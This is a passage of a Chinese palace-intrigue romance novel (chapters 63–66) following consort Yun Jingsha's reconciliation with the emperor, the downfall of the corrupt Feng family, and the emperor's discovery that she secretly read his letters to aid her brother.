芳音进来摆膳,不时拿一双眼睛觑她,眼里的气愤担忧藏都藏不住。 除了一脸平静的丰熙,就连尹寻春也露了几分忿忿。 云镜纱落座,莫名其妙,“怎么了,为何这般看我?” 尹寻春正要开口,芳音扯她一把,尴尬笑了两声,“没、没什么。” “没什么你们做什么一脸我快要死了的表情?” 云镜纱面无表情,“有事就说。” 芳音咬唇犹豫。 云镜纱略过她,看向丰熙,“说说,究竟怎么了?” 丰熙顿了顿,“陛下昨夜宿在凤仪宫。” “啪嗒。” 玉箸砸落在桌面。 愣了两息,云镜纱若无其事拾起,云淡风轻道:“贵妃娘娘是陛下的妃嫔,这不是很正常的事?” 芳音替她委屈,“可娘娘进宫后,陛下都是宿在玉华宫啊。” 然而两人不知为何吵了一架,之后陛下便去了凤仪宫,这不是在给娘娘施压,想要她主动去服软嘛。 云镜纱:“你见过哪个独占皇宠的妃子有个好下场?雨露均沾是帝王的本性,迟早的事,慌什么?” “行了,别说这些有的没的,我这儿不需要人守着,你们先下去用膳吧。” 不等芳音和尹寻春开口,云镜纱率先把三人赶了出去。 人走了,她松开攥得极紧的手,白嫩肌肤上留下两道刺眼红痕。 内心远不如表面装得无动于衷。 云镜纱舒了口气。 他是个皇帝,又血气方刚的,这都是正常的。 不过虚情假意而已,没什么好在意的。 如此安慰自己,可面对一桌子的菜,云镜纱再没动一口,任由它们逐渐变冷。 …… 今个儿天不错,芳音和尹寻春撺掇着云镜纱出去走走。 这一个月以来,陛下虽也常来玉华宫,但凤仪宫也没少去。 且依芳音观察,这两人之间不尴不尬的,晚上虽躺在一张床上,但什么也没做。 这么冷下去也不行,芳音劝了几次,见云镜纱冷着脸,也不敢再劝,只得想方设法让她散散心。 这个时节丹桂飘香,菊花怒放,一路走来,御花园不见半分凄凉之景,别有意趣。 云镜纱站在池子前,要了一把鱼食往水面一撒。 鱼群蜂拥而至,争先恐后张嘴夺食。 一条胖乎乎的红色锦鲤慢悠悠游来,将将张嘴,一条金灿灿的尾巴一甩,将那红色锦鲤挤了出去。 它呆愣愣地在原地游了一圈,似乎不知发生了何事。 傻得可爱。 云镜纱被它逗笑了,嘴角不由扬起。 正看得起劲,一道声音越过假山,准确无误落在她耳中。 “这御花园年年都是这般景色,真是越看越无趣了。” 一行人映入眼睑。 舒裳晚穿着织金云锦曳地裙,外罩红色披风,徐徐从假山后绕了出来。 看得出这阵子她过得极好,满面春风,哪怕是见了她,也只是挑了挑眉,并未露出嫌恶神色。 “哟,这不是云婕妤嘛。” 云镜纱屈膝见礼,“贵妃娘娘。” “起来吧。” 舒裳晚瞥了眼她手里的鱼食,“这是在喂鱼?” “是。” 舒裳晚哼笑一声,“云婕妤倒是有兴致。” 云镜纱还以为她会嘲讽几句,可谁知舒裳晚只是淡淡说了句,“行,那本宫就不打扰云婕妤了。” 随后便越过她离开。 擦身而过时两人离得有些近,云镜纱下意识后退,却忘了自己站在河边。 脚下一滑,她没站稳,整个身子一歪,径直往水里摔去。 “娘娘!” 芳音大惊,急急忙忙冲上去。 谁的动作都没舒裳晚快,眼见云镜纱歪歪扭扭地朝湖里倒,她眼疾手快抓住她的手腕,掌中用力一拽。 人是拽回来了,可惜用的力气太大,云镜纱直直撞上舒裳晚。 “嘭——”的一声,额头一阵剧痛,她不受控制地往下一扑,带着舒裳晚齐齐摔在地上。 “娘娘!” “贵妃娘娘!” 两边宫人着急忙慌去搀扶两人。 芳音和尹寻春一左一右拉起云镜纱,目光担忧一扫,“娘娘,可有受伤?” 云镜纱探手去摸额头,小小“嘶”了一声。 尹寻春满眼心疼,“都肿了,咱们快回去,奴婢去叫姓……何太医。” 云镜纱摇头拒绝,目光复杂地看向舒裳晚。 她在丹莹和飞荷的搀扶下站起,一手捂着额头,一手扶着腰,对着几名宫人怒道:“你们没长眼睛吗?怎么伺候的!竟然让本宫在你们的眼皮子底下摔倒,是不是不想干了?要是不想,回头本宫就把你们换了!” 宫人们跪了一地,惶恐求饶,“娘娘恕罪,事发突然,奴婢们也是没反应过来。” “等你们反应过来,本宫怕是人都没了!” 舒裳晚气得红了脸,额上是和云镜纱相同的红肿,她一边骂着,一边揉着额,时不时发出痛呼声。 云镜纱内心复杂难辨。 方才她分明可以不管的,可舒裳晚为何要拉她一把? 以她们的关系,看着她落水,不是该拍手称快吗? 向来自诩聪慧的云镜纱这会儿却是满心茫然。 不管怎么样,舒裳晚终究是救了她,云镜纱按下所有繁杂思绪,礼貌又疏离地道谢:“方才多谢娘娘。” 听了声儿,舒裳晚偏头看她,重重一哼,恶狠狠道:“刚才若不是你,本宫岂会遭受这无妄之灾?” 这语 气让云镜纱的复杂情绪散了大半,“……抱歉。” “一句抱歉就算了?” 话音一转,舒裳晚扬起下巴,得意洋洋地乜了云镜纱一眼,“算了就算了,本宫最近心情好,不和你一般见识。还不快走?别碍了本宫的眼。” 云镜纱憋着气,“是。” 她匆匆行了礼,快步远离湖边。 芳音担心地看着她头上红肿,“娘娘,咱们还是先回去请个太医来瞧瞧,这伤看着也太碍眼了。” 云镜纱:“不急,已经不疼了。” 她对舒裳晚的行为很是介怀。 她到底为什么要救她? 这个问题就像一块巨石堵在胸上,堵得她心头发闷,难受不已,却找不到纾解的方法。 今个儿若是别的人拉她一把,云镜纱都不会产生这般复杂的情绪,可那偏偏是舒裳晚。 她是舒家的人。 她与舒家不死不休,作为舒家女儿的舒裳晚怎么能救她呢? 舒了口气,云镜纱转瞬做了决定,抬步折回,“走,跟上去看看。” 尹寻春和芳音对视一眼,不明白她这是怎么了,匆匆跟上。 回去时舒裳晚还站在湖边,冷着脸指责跪在地上的宫人们,倨傲冷漠和额上红肿令眉间艳色消减了一成,却也无伤大雅,依旧是个艳光四射的美人。 出完气,她终于消停了,冷冷转身往凤仪宫走。 云镜纱缀在后头,默默跟上。 快要走出御花园,眼见前方是条宫道,她止了步。 再跟下去就要被发现了。 以舒裳晚的性子,若是发现她在跟踪,又要不依不饶了。 看不出名堂,云镜纱皱着眉,额上隐隐作痛。 就在她准备打道回府时,迎面走来一队禁卫。 余光瞥见舒裳晚停了,云镜纱下意识转了回去。 盛装打扮的姑娘立在原地,目光落在人群某处。 云镜纱循着她的视线看去。 那是一名禁卫,身形高大健硕,宽肩窄腰,肤色虽有些黑,但五官俊挺,眉目深邃冷沉,眼波不动,但细看却又仿佛有些匪气。 看着是个出色的年轻人。 为首的禁卫统领瞧见舒裳晚,恭恭敬敬与她行礼。 后者微微颔首,目光却始终落在那名禁卫身上,目光带着无法言喻的柔软。 禁卫不动如山,好似并未感受到她的视线。 舒裳晚敛下眸子,眸光仿佛暗淡了不少。 仅仅一瞬,她便恢复寻常,抬着下巴,趾高气昂地与那队禁卫相对而过。 云镜纱看得分明,眼皮蓦地一跳。 她忽然有个荒谬的想法。 第64章 贵妃……该不会有心上人吧? 正因她有心上人,所以才不会在意陛下宿在谁的宫里,不去奉承讨好。 云镜纱知道自己不该怎么想,可方才贵妃看那名禁卫的眼神,谁能说清清白白? 顺着这个思路想,因此贵妃才只和她耍耍嘴皮子,方才才会拉她一把。 倘若贵妃对她并无恶意,那放了避子香囊的人,便只会有一人了。 云镜纱看向慈宁宫的方向。 静立许久,舒裳晚与禁卫们已不见了踪迹。 不过都是猜测而已。 云镜纱吐出一口气,“走吧,回宫。” 回到玉华宫后,尹寻春去叫了何呈光,抹了药,云镜纱安静坐在榻上出着神。 也不知景哥那边如何了。 冯家的事,什么时候才会闹出来? 要不要让景哥去查查舒裳晚? 这念头一出,又被她否决了。 算了,景哥够忙了,还是别给他添乱。 “娘娘。” 尹寻春冒出头来,“芳音姐姐和丰熙姐姐在小厨房洗桂花准备做桂花糕呢,您要去看看吗?” 她一双大眼睛殷切地注视着她,云镜纱不忍拂了她的意,欣然起身,“好啊。” 尹寻春扬唇一笑。 刚走到她身边,一阵仓促脚步声响起,凉风刮过,一道人影遽然出现在云镜纱面前。 她抬首。 孟桓启站在她面前,发丝略有凌乱,漆黑凤眸夹杂担忧,定定看着她额头,“疼吗?” 云镜纱微怔,“陛下怎么来了?” 转念一想,他派了人跟着她,想知道什么并不难。 垂着睫毛,云镜纱轻声,“不疼。” 陛下夜宿凤仪宫后,她本该主动求和的,但她不知为何心里总是堵着一口气,让她不愿低头。 云镜纱隐约察觉自己状态不对,但她却下意识地不想过多探究,导致她和孟桓启之间不尴不尬地相处了好些时日。 孟桓启蓦地攥住她的手,拉着她进了殿。 云镜纱挣了两下,惹得他加大力道,圈住她的手宛如锁链。 “陛下这是做什么?” 云镜纱皱眉。 进了寝殿,孟桓启终于放开了她,语气晦涩,“还在生气?” 云镜纱摸着手腕,语气平淡,“臣妾不敢。” “别自称臣妾。” 孟桓启逼近,“霂儿,是我的错。” 大片阴影落下,云镜纱后退一步,仰头看他,“陛下有何错?” 孟桓启垂睫,忽而道:“我幼时,并不得父皇宠爱。” 云镜纱皱了下眉。 “他疼宠淑妃娘娘与她所出的大哥,待我与母后生疏至极。母后因我不得父皇喜爱,对我也极为冷淡。那时,我总是悄悄跑出宫,躲在御花园,看父皇带着淑妃母子游玩。” “他会把大哥放在肩上,陪他放风筝踢蹴鞠,亲手为他开蒙,教他读书习字。淑妃娘娘坐在一旁品茶赏花,笑盈盈地看着他们。” “他们不像天家人,倒像是民间普通的一家三口。” 孟桓启艰难开口,“可遇见我,父皇只会说一句,‘启儿又懂事不少,好好听你母后的话。’随后便牵着大哥走开。我只能站在原地,看着他们一步步离我而去。” “我年幼时宫人们都说,就算出自舒皇后腹中又如何,以父皇对大哥的宠爱,不到最后,储君之位说不准是谁的。” 牵着云镜纱的手,孟桓启长睫微颤,“霂儿,不怕你笑话,我曾经万分渴望父皇的目光能从大哥身上分一两眼给我,期待他看了我的课业,能不吝惜两句赞赏。我曾为了得到他的赞许闹出笑话,做了错事,谁知最后却一败涂地。” “我不曾感受完整的父爱,也害怕自己做不好一个父亲。所以才会不与你商议,便做出此事。” 握着云镜纱的手收紧,孟桓启道:“你再给我半年,半年之后,咱们再商量着要一个孩子,可好?” 云镜纱微恍。 她第一时间想到的是太后与孟桓启之间的异样。 年幼时被亲生母亲抛弃过,所以在她幡然醒悟后,才会那般冷淡? 她张了张唇,轻声问:“真的?” 孟桓启眸光微动,“是。” 这段时日她对他不冷不热,孟桓启也想过,她这么想要一个孩子,不如就给她吧。 可当晚他梦到了父皇和大哥。 梦到他们嬉笑玩闹,却在看到他时收敛了所有的笑意,客气地对他颔首。 仿佛有一瓢冷水兜头淋下。 寒意从皮肤表层钻进四肢百骸,渗入心脏。 告诉他,他们才是一家人,而他不过是个外人。 哪怕……他依然不是父皇最喜欢的儿子。 醒来后,孟桓启独坐了一夜。 他想,依旧不能释怀往事的他,现在的确不适合做一个父亲。 再者,他是真的不想让她落入险境。 孟桓启垂睫,眼下落了两片阴影,瞧着颇有些落寞。 云镜纱咬唇。 半年。 也罢,十年都等了,半年而已,她等得起。 伸手抱住男人的腰,她闭了闭眼,“好。” 孟桓启回神,用力抱紧她,嗓音因她的主动微微颤抖,“霂儿,你原谅我了?” 云镜纱轻轻点头,“仅此一次。还有,那药你别吃了。” 万一吃了伤身,等他想要孩子时生不出来怎么办? 孟桓启皱眉,“可若不吃,怎么避孕?” 他是不会让她吃药的,若是半年不碰她……咬咬牙,也能忍。 云镜纱红了脸,揪着孟桓启胸前的衣料,声若蚊蝇,“除了避子药,还有别的法子避孕。” “什么?” 云镜纱踮脚,红着脸在他耳边小声说了两句。 孟桓启微怔,“我去寻。” 没过两日,那东西便被找来了。 夜深人静,寝殿内只燃一盏烛灯。 帐子内灯光朦胧,不亮,视线却足够清晰。 抓着衣领的手被缓缓松开,长发从肌肤上轻轻扫过,带来些微痒意。 云镜纱看着他。 男人的眸幽深,眼底仿佛住着一只巨兽,兽口大开,似要将她吞吃入腹。 温柔的吻落在唇上,云镜纱长睫翩跹,眼中沁出点点泪光。 孟桓启忽然牵着她的手往下,嗓音哑到极致,“你帮我戴。” 云镜纱一抖。 那东西她看过,吃过,却是第一次触碰。 落在她掌心,似活过来一般。 她心慌得厉害,挣扎着缩手,睫上挂泪,双颊耳朵,连带着脖子一片红晕,娇弱可怜,“……不,我不要。” 孟桓启不准她退,强硬着抓住她的手,慢慢套上去。 他将她压在锦被上,温热的唇轻轻摩挲,一点点往下。 分明已是十月,云镜纱却仿佛回到了夏日,滚烫的汗水落了她一身。 …… 素手圈住孟桓启的腰替他穿戴好腰封,云镜纱柔顺道:“趁着丹桂未谢,陛下和我一同去摘些桂花回来,我给你做桂花糕好不好?” 孟桓启应,“好。今日朝堂应当无事,下午朕顺道陪你去御花园走走。” 云镜纱仰头弯眼,踮脚在孟桓启脸上亲了一下,“那我在御花园等陛下。” 将她散在脸侧的长发拂到耳后,孟桓启眸光变换,最终在云镜纱额上落下一吻。 又摸了下云镜纱的头,孟桓启在高德容等人的簇拥下离开玉华宫。 送了人离开,云镜纱打了个哈欠,“你们去歇着吧,我再去睡会儿。” 丰熙替她撩起纱帐,服侍云镜纱睡下,这才退出。 芳音拉着尹寻春说悄悄话,眉眼俱是喜意,“真好啊,娘娘和陛下和好了。前些时候两人闹别扭,我都不敢大声说话。” 尹寻春松了口气,“娘娘开心了,真好。” 芳音喜滋滋道:“娘娘如此得陛下喜爱,要是再生个一男半女那就更好了。” 想象了下有个和娘娘一般模样的小女娃笑着朝她张手,尹寻春心花怒放,“好好好。” 丰熙端着铜盆从殿内出来,“在这儿站着做甚,都下去吧。” 芳音被吓一跳,不慎打到丰熙手臂,着急忙慌道歉,“丰熙姐姐,疼吗?对不住对不住,我不是故意的。” 丰熙稳稳端着铜盆,看着她摇头,“没事,先去歇着吧。娘娘醒了我再唤你们。” 芳音过意不去,亦步亦趋地跟着丰熙。 尹寻春站在原地目送着二人离开,清澈的大眼睛里有暗光涌动,紧紧盯着丰熙端着铜盆的手。 …… 云镜纱睡到巳时末才起。 两人和好后,孟桓启像是要把之前没做的全补上,这几日变着花样地在床榻上折腾她。 她懒懒躺了会儿,拉响了帐上金铃。 片刻后,丰熙进来询问:“娘娘要起了?” “不急。” 感受着酸软的腰肢,云镜纱微红着脸咳了声,“你先替我按按腰。” 她坐起身,合上衣领,遮挡住雪白肌肤上的红痕,随后趴在床上。 芳音力道不够,寻春见了她身上的印子,一定会大声嚷嚷着问她疼不疼。 唯有丰熙,不仅力道适中,还不会让她尴尬。 丰熙依言,走上前来双手放在云镜纱腰上替她揉按。 舒服得云镜纱昏昏欲睡,险些又睡了过去。 好在她强行忍住了,“好了,停下吧。” 丰熙收手,搀扶着云镜纱起身,伺候她洗漱。 芳音听见动静便去拿了午膳,梳洗完的云镜纱饿得前胸贴后背,比平日里多吃了小半碗。 喝完汤,云镜纱用帕子擦拭唇角,“收拾收拾,咱们去御花园。” “欸。” 今日有风,丰熙给云镜纱披了件松石色的宽袖披风,领着芳音和宫人跟在她身后出了宫。 御花园里桂花已落了一地,风一吹,黄色小花飘得漫天都是,香气馥郁,经久不散。 云镜纱寻了个亭子歇脚,宫人们手脚麻利地上茶上瓜果点心。 她倒了杯茶放凉,托腮望着亭外树枝上的丹桂,叹道:“要入冬了。” 丰熙立即道:“得让尚服局的赶紧上门为娘娘量体裁衣才行。” 云镜纱笑了,“出来赏花就别想那么多了,好好放松放松。” 丰熙轻咳一声,“是。” 风吹进凉亭,吹得茶水上方白雾飘飘绕绕。云镜纱端起茶杯饮了一口,“也不知陛下什么时候到。” 芳音:“或许快了,娘娘再等等。” 饮了口热茶,云镜纱通体舒畅,眯着眼颔首。 可惜她等了两个时辰,始终不见孟桓启身影。 她眼里的失落那般明显,芳音和丰熙对视一眼,劝道:“或许陛下是被什么事绊住了脚,这风大了,娘娘,咱们还是先回宫吧。” 原本好好的兴致,主人公却无故不至,云镜纱也没了再待下去的心情,放下茶盏起身,“回去吧。” 丰熙和芳音急忙跟上。 进了玉华宫宫门,云镜纱抬步往寝殿走。 听见动静的尹寻春快步而出,小圆脸上挂着笑,眼睛晶亮融着光,几步奔到云镜纱身前,小声道:“娘娘,公子来信了。” 第65章 云镜纱面色一喜,“信呢?” 尹寻春从袖里拿出信封,她一把拿过,快步进了寝殿,麻利把信拆开。 芳音几人落在后头,刚进殿便见云镜纱打开灯罩把信烧了,眼里还残留着笑意,打趣道:“云公子这是有好事?” 火光在眼里跳跃,衬得明眸亮如繁星。云镜纱勾起唇,心情不错,“是啊。” 今晨杜丞相在朝堂上捅破冯家一事,想来陛下便是被此事绊住了脚。 她没有半分不喜,眼角挂着愉悦,笑盈盈道:“丰熙,你去吩咐小厨房熬碗鸡汤,在灶上用小火吊着,我明日给陛下送去。” 丰熙:“是。” 尹寻春看她一眼,默默道:“丰熙姐姐,我也去!” 云镜纱:“芳音,你去看看库房里有哪些料子,我想做两身冬衣。” 芳音盘算片刻,“快入冬了,是该把冬衣备好。奴婢这就去。” 云镜纱含笑注视着她的背影。 心情好,是该做两身衣裳。 …… 长极宫。 送走诸位大臣,闻人故折返入殿。 殿内只他们二人,他说话没什么顾忌,凝眉问道:“冯家的事杜空致是怎么知道的?” 孟桓启低眸看着御案,仿佛没听清他在说什么。 他不答,闻人故自言自语,“现在闹出来是不是有些太早了?会不会影响到大事?要不要……” 孟桓启闭了闭酸涩的眼,“不必。既然已经闹出来,冯家也没有留下的必要,更何况,还有一个杜空致在虎视眈眈,他必会趁此时机断掉舒家一臂。” 闻人故忖度稍许,“也是,先一步步来。” 他站得有些累,转身朝软榻上走。 “等等。” 余光注视着他的动作,孟桓启顿了顿,“那榻你别坐了。” 闻人故回头,“什么?” 孟桓启:“朕说,你不许坐那软榻。” “嘿你个孟桓启。” 闻人故叉腰,怒而斥道:“我为了你的江山安稳辛辛苦苦忙了这么多年,有功劳也有苦劳,一大把年纪了,名声烂到全京城没一个好人家的姑娘愿意嫁给我,我为你牺牲了这么多,到头来连你一张榻都坐不得了?” 孟桓启:“你虽未娶妻,但有三房妾室。别说你只是拿她们当个消遣。” 闻人故一噎,咳了 两声,飞快转移话题,“你凭什么不让我坐榻?” 孟桓启:“……不方便。” 有什么不方便的? 闻人故正要反驳,蓦地想起什么,“啧啧”几声笑得不怀好意,尾音拖得极长,“表弟啊表弟,你学坏了啊。” 孟桓启面无表情和他对视。 还想再调侃两声,眼尖地瞥到孟桓启微红的耳尖,闻人故见好就收,大气挥袖,“行,不坐就不坐。” 方才有位朝臣年迈体弱,孟桓启为他赐了座,如今椅子还未搬走,他索性坐了上去。 孟桓启松了口气,目光扫过御案某处,眸光暗了一瞬,抬眼时已恢复寻常,平声与闻人故说起正事。 冯家之事孟桓启下令彻查,这越查,里头的腌臜事便越多,牵扯甚广,闹了半个多月都不消停。 他整日忙着朝政,长极宫的灯烛往往到亥时才灭,自然抽不出时间去玉华宫陪云镜纱,便派遣高德容去说一声。 云镜纱自然不会怪罪。 她巴不得孟桓启把精力都扑在此事上。给予的精力越多,查到最后怒火便会越发旺盛,冯家的结局也会愈加凄惨。 贴心送走高德容,云镜纱每日风雨不动地送汤水去长极宫,冯家的消息也源源不断传入她耳中。 贪污受贿,赃款多达百万两,强抢民女,草菅人命不说,甚至胆大包天到背着朝廷非法开采盐矿。 要求重惩冯家的折子雪花似的飞到长极宫的御案上,哪怕舒家从中斡旋,也抵挡不住不遗余力的杜丞相一脉。 消息一出,舒太后坐不住了,日日让舒裳晚带着参汤茶点去长极宫外候着,可惜孟桓启一次也没见她。 无法,舒太后只得亲自去走一趟。 听闻太后亲至,孟桓启起身,亲自去迎。 “母后。” 他恭恭敬敬地行了礼。 舒太后笑容慈祥,“快起。” 孟桓启搀扶着舒太后入了偏殿,让她坐在上首。 视线从那幅画上扫过,舒太后缓缓落座。 孟桓启给她斟了茶,“母后若是单纯来看看儿子,儿子自然欢迎。但若是为冯家求情,今日母后若是要白走一趟了。” 舒太后握着茶杯的手一顿,斟酌着开口,“启儿,冯家当真不能保?” 她面露苦涩,“你表妹那般骄傲的姑娘,为了她舅家的事瘦了整整一圈,一见哀家便哭,哀家实在于心不忍。” 孟桓启面不改色饮茶,“就算没了冯家这个舅家,她依旧是国公府的姑娘,常远侯府的当家主母。” “话虽这样说,但那终究是昭儿的血脉至亲。” 孟桓启撩起眼皮,“舒含昭一哭,母后便于心不忍,但您可想到被冯家胜那混账糟蹋的无数个良家女子?她们的亲人又该去向谁哭诉?” “母后可清楚,从冯家后院挖出来的女子尸骨,足足有二十三具,个个都是正值芳龄的姑娘。她们本该待字闺中,由父母做主嫁个好人家,平淡安稳又幸福地度过一生,而不是躺在冯家后花园的泥土里,生前备受折磨,死后不得亲人祭拜,眼睁睁看着仇人安享富贵。” “还有被冯家打杀的百姓,死在他们暗中开采的盐矿里的无辜人,这些都是朕的子民,倘若朕不为他们做主,枉为一朝君主。” 舒太后沉默许久,“启儿长大了。” 孟桓启:“身在这个位置,自然要为百姓考虑。” “行。” 舒太后重重落下一个字,闭上眼,“都依皇帝的。” 出了长极宫,李嬷嬷急忙上前搀扶住太后。 见她神色不虞,便知事情再无转机,咽下叹息,轻声道:“娘娘,有人要见您。” …… 云镜纱的冬衣已由尚衣局的送上来。 一套亮眼的水红色,一套素净的碧落色。 丰熙瞧了,拧着眉道:“两套不够,奴婢再选几匹料子送去尚衣局。” 云镜纱想了想,“我记得有一匹晴蓝的宋锦,那料子留着别动,我想给陛下做件氅衣。” 他这阵子辛苦,她总不能除了汤水什么都不表示吧? 云镜纱招来芳音,“你去问问高公公陛下的身量,悄悄的,别声张。” “好,奴婢这就去。” 丰熙和芳音各做各的去了,尹寻春坐在外间的红木圆凳上吃糕点,笑眯眯地和两人道了别。 等两人的背影彻底消失,她往外看了眼。 小宫人们聚在外头,打扫的打扫,闲聊的闲聊,一时半会儿应当无人进殿。 尹寻春鬼鬼祟祟起身,踱步到云镜纱身边。 她正坐在书桌旁,手里捏着笔作画,从仅有的轮廓不难看出是件衣服。 尹寻春面色严肃,“姑娘,我有件事要告诉您。” 云镜纱瞥她一眼,随口道:“什么事?” 尹寻春凑近她耳边,嗓音低低的,“我怀疑丰熙姐姐会武。” 上次见芳音不慎打了丰熙一下,但她动都没动过,尹寻春便起了疑。 这段时日她没事就凑到丰熙身边仔细观察,终于被她得出一个结论:丰熙会武,且武艺不凡。 她还是第一次见这般厉害的姐姐,若非害怕暴露功夫给姑娘添麻烦,她真想和她切磋切磋。 将事情的来龙去脉说清楚,尹寻春等了片刻,没等来云镜纱的只言片语。 她疑惑眨眼,“姑娘不担心吗?” 云镜纱眉眼不动,“担心什么?” “当然是担心丰熙姐姐心怀不轨。” 说句不害臊的,一个会武的宫人在宫里的助力是普通人的几倍,像她就是啦,正因为她有本事,姑娘才这么器重她。 若是丰熙心藏歹念,哪怕有她在也防不胜防。 云镜纱偏头,“你觉得丰熙会做不利于我的事?” 尹寻春犹疑,“应当……不会吧?” 云镜纱失笑,食指点了下她的眉心,“你这小脑袋就别想了。” 她语气笃定,“丰熙,是陛下的人。” 尹寻春:“啊?姑娘怎么看出来的?” 云镜纱继续作画,“自我入宫后,她的表现太镇定了,似乎笃定有人为我撑腰。她很少有情绪波动,从前身处的环境应当很单纯,每日只有唯一一个目标。此外,陛下来玉华宫时,丰熙从不关注他,但每次上的茶,都是陛下喜欢的君山银针。” 云镜纱猜测,“她应该是陛下的暗卫吧。让她来给我做一个掌事宫女,真是屈才了。” 尹寻春佩服地眼冒星星,“姑娘真厉害。” 她就想不到那么多。 云镜纱扬唇哄她,“之前都是猜测,如果你不告诉我丰熙会武,我也无法笃定。” 尹寻春咧开嘴笑。 笑着笑着,她蓦地想起一事,“对了姑娘,我听说,慈宁宫今日死了一个人。” 云镜纱拧眉,“什么人?” 尹寻春摇头,“不太清楚。她是从宫外进来的,太后屏退宫人单独召见,只留下了李嬷嬷贴身伺候。也不知她们说了什么,人还没走到宫门口就出意外没了。” “姑娘若是想知道,我再去打听打听。” 云镜纱思量片刻,摇摇头道:“与我们无关,不必关注了。” 尹寻春小鸡啄米点头,“好。” …… 慈宁宫。 门窗紧闭,檀香沉闷,憋得人透不过气来。 有脚步声响起,李嬷嬷走到榻边。 舒太后佝偻着腰背坐在榻上,仿佛一日之间老去了十岁,目光暗淡无神。 李嬷嬷蹲下身握住 她的手,担忧唤道:“娘娘……” 舒太后惊醒,嗓音苍老哑沉,“人处置了?” 李嬷嬷点头,“是。” 舒太后抽出手,“下去吧,哀家想一个人静静。” 李嬷嬷站了片刻,带着忧虑退下,“奴婢就在门外,娘娘有事唤我一声。” 舒太后也不知听没听见,仰头虚虚望着房顶。 虚浮的目光逐渐凝视,变成一张清隽俊朗的脸。 舒太后看着他,骤然大笑出声,笑声凄厉癫狂,“哈,孟彧,孟彧!” “好好好,孟彧,你真是好样的!” 舒太后面目狰狞,眼眶猩红,浑浊的眼里似乎渗出了血泪,一滴滴落在她手背,砸在她心上,在心头燃起猛烈又不可扑灭的火焰。 “这么多年,你竟然骗我、瞒我这么多年!枉我自诩聪慧,竟被你耍得团团转!” 眼前男人的脸上嘴角勾起,凤眼弯弯,笑得畅快又愉悦,似乎在嘲讽她的蠢笨。 舒太后恨得心头几欲滴血。 “哈哈哈孟彧,孟彧!” 她瞪着那张隽秀的脸,语气里的阴毒狠辣如有实质,一刀刀割碎他的灵魂。 “我绝不让你如愿。” 第66章 冯家一事闹得轰轰烈烈,最终以家主被斩首,其余子女流放边关落下帷幕。 消息传来时,云镜纱正在裁衣,听了尹寻春的话,眼里笑意藏都藏不住。 “今个儿心情好,吩咐下去,玉华宫全宫上下奖励一个月的月俸,中午拿银子去尚食局多加几个肉菜,和大伙分一分。” 进宫前云景舟给了她不少银票,再加上孟桓启时不时赏赐,云镜纱的小金库算得上丰厚。 尹寻春高兴地蹦了两下。 虽说她不缺一顿吃的,但也让人高兴啊。 “我这就去!” 蹦蹦跳跳地跑出门去,不一会儿,外头便响起一片兴奋的哄闹声。 芳音面带喜意走进门来,“娘娘,宫人们想来给您磕个头。” 云镜纱重新拿起剪子,“让他们回去吧,别弄这些虚礼,好好做事就行。” 芳音点头,笑着转身。 云镜纱低头看着桌上裁剪到一半的料子,眼里蕴着星星点点的光。 …… 孟桓启是第二日下午来的。 窗户开着,云镜纱正在缝氅衣,一缕风从窗外吹来,吹起她颊边碎发,眼里碎光熠熠,娴静如云。 孟桓启在门外看了许久,直到云镜纱脖子发酸,仰起头转了转脖子,余光不经意往门口一瞥,惊讶道:“陛下什么时候来的?” 她放下针线,含笑迎了上去,“怎么来了也不出声,你在门口站多久了?” 握住孟桓启的手,云镜纱拉着他进去。 “没多久,在做什么?” 孟桓启顺从着她的力道走进殿内。 “前些时日丰熙给我收拾库房,发现一匹料子,我觉着挺适合陛下的,便想给你缝件氅衣。” 云镜纱笑着指了指,“陛下喜欢吗?” 孟桓启看着那半成氅衣,伸手揉了揉云镜纱的后脖颈,“累吗?” 他的力道适中,云镜纱舒适地眯起眼,“一件衣服而已,有什么累不累的。” 她拉住孟桓启的手,仰头仔细打量着他的脸色,忽地道:“陛下这几日忙着冯家的事累坏了吧?你看,脸色都憔悴了。” 踮起脚,云镜纱伸手,指尖从孟桓启眉心缓缓下滑,掌心摩挲着他的侧脸。 孟桓启捉住她的手,眼睛看着她,“不累。” 云镜纱眨眼,“那昨夜陛下为何没来?” 冯家一事落幕,她原本想着孟桓启应当会来,可等了许久也不见他的身影。 孟桓启沉默。 他忽然想起长极宫里站在他面前的青年。 一身绯衣衬得他温润如玉,身形颀长,肩背挺拔,像极了悬崖峭壁上傲骨嶙峋的青松。 他站在殿内,唇畔含笑,从容面对咄咄逼人的官员,语气温和,态度却分毫不让,力求重惩冯家。 有舒家一派的官员气急了红了脸,上前拉扯他,他躲闪时腰间荷包掉落,被人踩了一脚。 青年脸色当时就变了,把荷包捡起放在怀中,再面对那官员时态度完全转变,言辞犀利,目光锋锐无比。 孟桓启眼尖,看得出那荷包已然发旧,却被人保存得极好,上面绣着云纹,角落里用蓝线绣着一颗雨滴。 不过是一个普通的荷包而已,孟桓启本不该放在心上,可不知为何,他总是不由自主去想那雨滴。 他留下了云景舟,问起那枚荷包。 青年面含笑意,温声道:“这是家妹幼时刚学女红时所绣。” 这么多年的荷包,他一直贴身保存着。 孟桓启说不出心里是什么感受,但那一刻,那荷包,连带着那个丰神俊秀的男人一样碍眼。 他舒了口气,淡淡道:“有件事没想通。” “是冯家的事?” 云镜纱随口一问。 孟桓启:“是关于你兄长的。” “景哥?” 云镜纱疑惑,“他怎么了?” 心里忽然一慌,难不成冯家一事他暴露了? 云镜纱蓦地握住孟桓启的手,“景哥虽聪颖,但一向老实本分,他能有什么事?” 姑娘面上笑着,可眼神却透出几分紧张。 孟桓启看了看她的手,又看向她的眼睛,“你兄长的确聪慧。” 心里的紧张散了一分,云镜纱笑道:“是啊,从小景哥学东西就快,他读书好,从小村里人便说他一定能高中,长大后他果然不负众望。” 孟桓启:“他在冯家一事中表现优异,朕准备将他调去刑部。” “真的?!” 云镜纱目光大亮,笑意溢满整张小脸,兴奋溢于言表,“多谢陛下,景哥一定不会辜负陛下信任,恪尽职守,为朝廷效力。” 孟桓启掌心落在她侧脸,“你与兄长感情很好。” 从前他也说过这句话,那时只是单纯感慨,现在却有一股气萦绕在胸腔内。 他想,那应该是嫉妒。 云镜纱没听出孟桓启话里的不对,下意识点头。 “感情好到,能偷窥朕的密函,送他登上青云路。” 云镜纱猛地抬头,她有些头皮发麻,想拉开脸上的手,却被他牢牢掌住,勉强维持镇定,“陛下在说什么?我听不懂。” 冲动之下说破此事,孟桓启有些后悔,却已没了回头路,“杜家呈上来的折子里说起一个名为‘方满’的证人,可方满早已在朕的掌控之下,不可能越过朕去给杜家作证。” “霂儿,你低估朕了。朕亲手放的信函,方位早已记得清清楚楚,防的就是被人偷窥,你虽谨慎,但难免有差错。” 